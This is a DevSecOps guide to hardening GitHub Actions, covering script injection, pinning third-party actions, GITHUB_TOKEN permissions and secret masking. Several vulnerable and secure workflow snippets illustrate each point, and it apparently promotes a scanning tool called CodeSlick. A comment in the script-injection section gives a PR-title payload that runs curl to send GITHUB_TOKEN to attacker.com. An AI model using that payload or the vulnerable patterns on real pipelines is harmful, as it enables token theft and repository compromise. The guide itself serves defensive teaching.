DevSecOps

GitHub Actions Security: Preventing CI/CD Secrets Exposure and Script Injection

Third-party actions script injection GITHUB_TOKEN privilege escalation and secrets management for secure pipelines

GitHub Actions Attack Surface

GitHub Actions is the most widely used CI/CD platform for open-source and SaaS projects. Its deep integration with GitHub repositories — automatic triggers on pull requests, built-in secret storage, and direct access to the repository via GITHUB_TOKEN — makes it both powerful and a significant attack surface.

The four primary attack vectors are:

  • Script injection: Untrusted pull request data (titles, body text, branch names) interpolated into workflow scripts enables code execution in the CI environment
  • Third-party action supply chain: Workflows using actions from other repositories introduce the same risks as third-party npm packages — compromised actions execute in the CI environment with full secret access
  • GITHUB_TOKEN privilege escalation: Workflows granted excessive write permissions allow attackers to push code, approve pull requests, or modify repository settings
  • Secrets exposure in logs: Secrets accidentally printed in workflow output are visible to anyone with repository read access

Script Injection via Pull Request Triggers

The most dangerous GitHub Actions vulnerability is script injection via pull_request_target. This trigger runs with write permissions and access to secrets — and it can be triggered by pull requests from forks.

Vulnerable — script injection via PR title:

# VULNERABLE: pull_request_target with interpolated PR metadata
on:
  pull_request_target:

jobs:
  comment:
    runs-on: ubuntu-latest
    steps:
      - name: Comment on PR
        run: |
          echo "Processing PR: ${{ github.event.pull_request.title }}"
          # If PR title is: test"; curl https://attacker.com?t=$GITHUB_TOKEN; echo "
          # The shell executes the injected command

Secure — use environment variables, not interpolation:

# SECURE: Pass PR data via environment variable
on:
  pull_request_target:

jobs:
  comment:
    runs-on: ubuntu-latest
    steps:
      - name: Comment on PR
        env:
          PR_TITLE: ${{ github.event.pull_request.title }}
        run: |
          echo "Processing PR: $PR_TITLE"  # Safe — env var, not interpolated into shell

Avoid pull_request_target unless absolutely necessary. Use pull_request instead, which runs with read-only permissions and no access to secrets for fork PRs.

Third-Party Action Risks

Every action referenced in a workflow runs with access to the job's secrets and the GITHUB_TOKEN. A compromised action can exfiltrate all secrets in the workflow.

Vulnerable — mutable action references:

# VULNERABLE: Using a branch tag — attacker can push malicious code to main
- uses: some-org/some-action@main

# VULNERABLE: Using a version tag — tags can be moved to malicious commits
- uses: some-org/some-action@v2

Secure — pin to full commit SHA:

# SECURE: Pin to immutable commit SHA
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v4.2.2
- uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af  # v4.1.0
# Commit SHA cannot be moved — the action code is immutable at that reference

GITHUB_TOKEN Privilege Escalation

Every GitHub Actions job automatically receives a GITHUB_TOKEN. By default, the token has broad write permissions — a compromised workflow can push code, approve pull requests, and modify repository settings.

Vulnerable — default broad permissions:

# VULNERABLE: Default permissions — write access to everything
on: [push]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm test

Secure — explicit minimal permissions:

# SECURE: Explicit minimal permissions
on: [push]

permissions:
  contents: read  # Read repository contents only
  checks: write   # Write check results

jobs:
  security-scan:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      - run: npx codeslick analyze

Secrets Management in Workflows

GitHub Actions masks secret values in logs automatically — but only for the verbatim secret value. Several patterns bypass this protection:

# VULNERABLE: Encoded secret escapes masking
- run: echo ${{ secrets.API_KEY }} | base64  # GitHub CANNOT mask the encoded value!

# VULNERABLE: Secret in URL (appears in proxy logs)
- run: curl "https://api.example.com?key=${{ secrets.API_KEY }}"

# SECURE: Pass secrets as environment variables, use in headers
- name: Call API
  env:
    API_KEY: ${{ secrets.API_KEY }}
  run: curl -H "Authorization: Bearer $API_KEY" https://api.example.com

Use repository-level or organization-level GitHub Secrets for CI/CD credentials. Never commit credentials to the repository — use CodeSlick's pre-commit hook to catch accidental secret commits before they reach the repository.

Security Hardening Best Practices

A checklist for hardening GitHub Actions workflows:

  1. Pin all actions to commit SHAs, not branch or version tags
  2. Set minimal permissions at workflow and job level
  3. Avoid pull_request_target unless absolutely necessary; never access secrets in the same job as PR code checkout
  4. Pass PR metadata as environment variables, never interpolate into shell commands
  5. Run CodeSlick in every PR workflow to catch security issues before merge:
    - name: Security Scan
      run: npx codeslick analyze --fail-on critical
  6. Use actionlint in CI to catch workflow security misconfigurations statically
  7. Enable Dependabot for Actions to receive security updates for pinned action SHAs

Frequently Asked Questions

Related Guides